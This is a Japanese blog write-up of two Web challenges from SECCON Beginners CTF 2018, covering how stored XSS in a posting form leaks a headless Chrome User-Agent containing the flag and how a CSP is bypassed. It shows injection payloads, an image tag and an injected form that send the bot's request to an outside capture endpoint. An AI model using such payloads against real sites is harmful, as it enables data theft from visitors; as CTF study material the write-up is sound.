好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

SECCON BeginnersCTF 2018 復習 [Web] Gimme your comment & REVENGE

SECCON BeginnersCTF 2018 に参加したので wite-upを書いたけど 解けなかった問題が多かったしコンテスト環境しばらく残していただけるそうなので、後追いでやってみる。(ほぼ大会中の話だったりする)

write-upはこちら kusuwada.hatenablog.com

[Web] Gimme your comment

途中までwrite-up。試行錯誤の記録。

問題

ビギナーズカンパニーは皆様からのご意見をお待ちしています。
お問合わせの回答には特別なブラウザを使用しており、このブラウザの User-Agent が分かった方には特別に得点を差し上げます :-)

http://gyc.chall.beginners.seccon.jp

まずは素直にアクセスしてみる。
こんなサイトが出てきた。

f:id:kusuwada:20180530025459p:plain

試しに投稿してコメントしてみる。

f:id:kusuwada:20180530025505p:plain

一緒に配布されたファイルを確認してみる。jsのようだ。
worker_63589eb583b5281458486ae738efd63e04f502b7.js

const puppeteer = require("puppeteer");

let origin  = process.env.origin;
let flag = process.env.flag;
let post_id  = process.env.post_id;

(async () => {
    const opt = {
        executablePath: 'google-chrome-stable',
        headless: true,
        args: [
            "--no-sandbox",
            "--disable-background-networking",
            "--disable-default-apps",
            "--disable-extensions",
            "--disable-gpu",
            "--disable-sync",
            "--disable-translate",
            "--hide-scrollbars",
            "--metrics-recording-only",
            "--mute-audio",
            "--no-first-run",
            "--safebrowsing-disable-auto-update",
            `--user-agent=${flag}`
        ],
    };
    const browser = await puppeteer.launch(opt);
    const page = await browser.newPage();
    await page.goto(`${origin}/posts/${post_id}`, {waitUntil: 'domcontentloaded'});
    await page.type('input[name="comment_content"]', '投稿ありがとうございます。大変参考になりました。');
    await page.click('button[type=submit]');
    await page.waitFor(1000);
    await browser.close();
})();

--user-agent=${flag}

どうやら user-agent にflagが入るらしい。

このソース中に使われているライブラリ (puppeteer) を検索してみたところ、
問題の

お問合わせの回答には特別なブラウザを使用しており

は、どうも Headless Chrome というものらしい。
概要は下記。

出典: CYOKODOG: Headless Chrome をさわってみた

しかしそれがわかったところで、こちらからお問い合わせの回答時の情報が得られるのだろうか??

やはりこの問題としては「フォームから入力して送信」という仕組みがある以上、XSSを疑うしかあるまい。
ということで、下記のサイトなどを参考にしつつ脆弱性を探した。

が、全然Hitせず・・・。
時間切れで終わってしまった。
後追いで他の方のwrite-up記事見たり調べたりしてわかったこと

XSS脆弱性があるページは「新規投稿(/posts)」のページだった

なんと。またしても思い込みが激しすぎたようで、「お問い合わせの回答に」つかっているサイトに、と書いてあったのでコメントのフォーム(/posts/{id})しか確認していなかった・・・。ちなみにこっちはバッチリ対策がしてあった。

worker_63589eb583b5281458486ae738efd63e04f502b7.js のソースを見ても、新規投稿の際とビギナーズカンパニーからの返信の際のbrowser objectは同じものを使っているので、新規投稿のフォームの方からも目的の情報を引っ張ってこれる。いやむしろ、自分(ユーザー)がコメントしたときの挙動は配布されたソースには載っていないので、新規投稿フォームから得ると考えるほうが自然なのか・・・。


気を取り直してXSSを再度調査してみる。

新規投稿フォーム http://gyc.chall.beginners.seccon.jp/posts の本文に下記を入力して投稿。

test <b>bold</b>

f:id:kusuwada:20180530032545p:plain

おー。ばっちりタグが反映されている。ということでタグが入れられそうなことが判明。こんなにすぐに見つかるとは・・・orz
なんとかタグを駆使してUserAgent情報をGet出来ないかと思い考えてみた。
方針としては

  1. 直接UserAgentなりflagの情報を出力させる
  2. 自分の管理するアドレスにアクセスさせ、Header情報からUserAgentを取得する

くらいを思いついた。

1.に関しては、

<script>document.write("test")</script>

とかすると test が本文として認識されて表示されるのでいけるかな?と思ったけど、

<script>document.write(opt.args['--user-agent'])</script>

などと変数を入れてみると本文に何も表示されなくなってしまった。投稿フォームにだけ「特別なブラウザ」を使用していて、表示するときは使用していないっぽいので当然か。
ということで 1.の方針はナシ。

2.に関しては、XSSでよく使われる img タグを埋めて指定したurlにリソースを取りに行かせる(アクセスさせる)方法が手っ取り早そう。
これをやるには、自分で管理するサイトを構築せねばならない。すでにCTFとかテスト用の何処か持っている場合はそれを使えばよいが、持っていないならLocalに作って外部からアクセスできるようにするツールもある。

今回は、Ark's Blogさんのwrite-up記事で紹介されていた、Beeceptorを試してみた。

補足:Beeceptorはエンドポイントを簡単に作ってそこにリクエストを飛ばすことができるサイトです。

と説明があったのだけど、本当に簡単にエンドポイントが作れた!!(作りたいドメインを入力するだけ。アカウント登録とか一切なし)そこに来たリクエストのHeader, Body情報がConsoleで確認できるので、今回の用途としては十分すぎる。素晴らしい。
REST APIのモックがコーディング無しで作れるらしいし、WebAPI開発でクライアントにモックを提供するときとかに使いやすいかも知れない。会社ではコンプラ的な意味で使いにくいかも知れないけど。

素晴らしすぎて話がそれた。
ここで作成したエンドポイントにアクセスが来るよう

<img src="http://{作成したエンドポイント}">

を本文に入力して新規投稿すると、下記のようなアクセスが飛んできた。

f:id:kusuwada:20180531011531p:plain

おおー。本当にUserAgentにflagが入っている!感動。これも解きたかったなぁ・・・!

[Web] Gimme your comment REVENGE

問題

ビギナーズカンパニーは皆様からのご意見をお待ちしています。
お客様から頂いたご意見に基づき、対策を施しました。
今回もお問合わせの回答には特別なブラウザを使用しており、このブラウザの User-Agent が分かった方には特別に得点を差し上げます :-)

http://gycrevenge.chall.beginners.seccon.jp

どうやらVersionUpしているらしい。配布されている worker_63589eb583b5281458486ae738efd63e04f502b7.js は変更ないらしい。
同じようにXSS脆弱性がないかチェックしてみると、相変わらず新規投稿のフォームにタグが埋め込めるようだ。
せっかくなので、上記と全く同じ投稿をしてみるも、リクエストが飛んでこない。
Chromeの開発者ツールを開いてみると、Consoleに次のエラーが。

Refused to load the image 'http://{作成したエンドポイント}/'
because it violates the following Content Security Policy directive: "default-src 'self'".
Note that 'img-src' was not explicitly set, so 'default-src' is used as a fallback.

ほぉぉん。なんかそのまま実行されないよう対策が施されたっぽい。 default-src 'self' でぐぐってみると下記がHitした。

IPA: セキュリティセンターTOP > セキュアプログラミング講座 > Webアプリケーション編 > マッシュアップ > クライアントサイドマッシュアップ: #4 対策に利用できる技術

Content-Security-Policy: default-src 'self'
これによって、ブラウザにおけるスクリプトの実行が次のように制約されるようになる。:
・HTML の途中に次のような形で記述する、いわゆる「インライン」のスクリプトは実行が禁止される。:
<script>スクリプトソースコード</script>    ← これは禁止
・動作させたいスクリプトは原則として、次の形で独立した別のコンテンツとして呼び込まなくてはならない。:
<script src="スクリプトURI"></script>    ← この形式のみ許される
この「スクリプトURI」として許されるのは、この Webページの源泉と同じサーバに限られる。
文字列をスクリプトソースコードとして解釈実行する eval()等の関数の実行が禁止される。

あら、じゃあスクリプトの埋め込みは実質できなくなるのか。
他にできそうなことは・・・と「何かをさせる」という視点で配布されたソースを眺めてみると、

await page.click('button[type=submit]');

この行で、submit buttonをスクレイピングして実行しているのがわかる。
埋め込みスクリプトを実行するのは封じられたけど、ただのボタンを埋め込むのは特に封じられていないはず。しかも form の中に埋め込めば、本物の submit ボタンより早く評価されるはず。
ということで、下記のようにダミーの form & submit button を埋め込む。

<form method="post" action="http://{作成したエンドポイント}">
  <input type="text" name="dummy_form">
  <button type="submit">ダミーボタンだよ</button>
</form>

f:id:kusuwada:20200516163846p:plain

やった。アクセスが飛んできた。こっちもUserAgentにflagが入っていました。

※同じbuttonでも、単体で作成して onclickで飛ばすようなものは同じく実行が禁止されているので使えない。

<button type="submit" onclick="location.href='http://{作成したエンドポイント}'">ボタンだよ</button>

REVENGEじゃない、Content-Security-Policy: default-src 'self' 対策されていない方では、上記でもOK。

他の SECCON BeginnersCTF 2018 関連記事リンク

kusuwada.hatenablog.com

kusuwada.hatenablog.com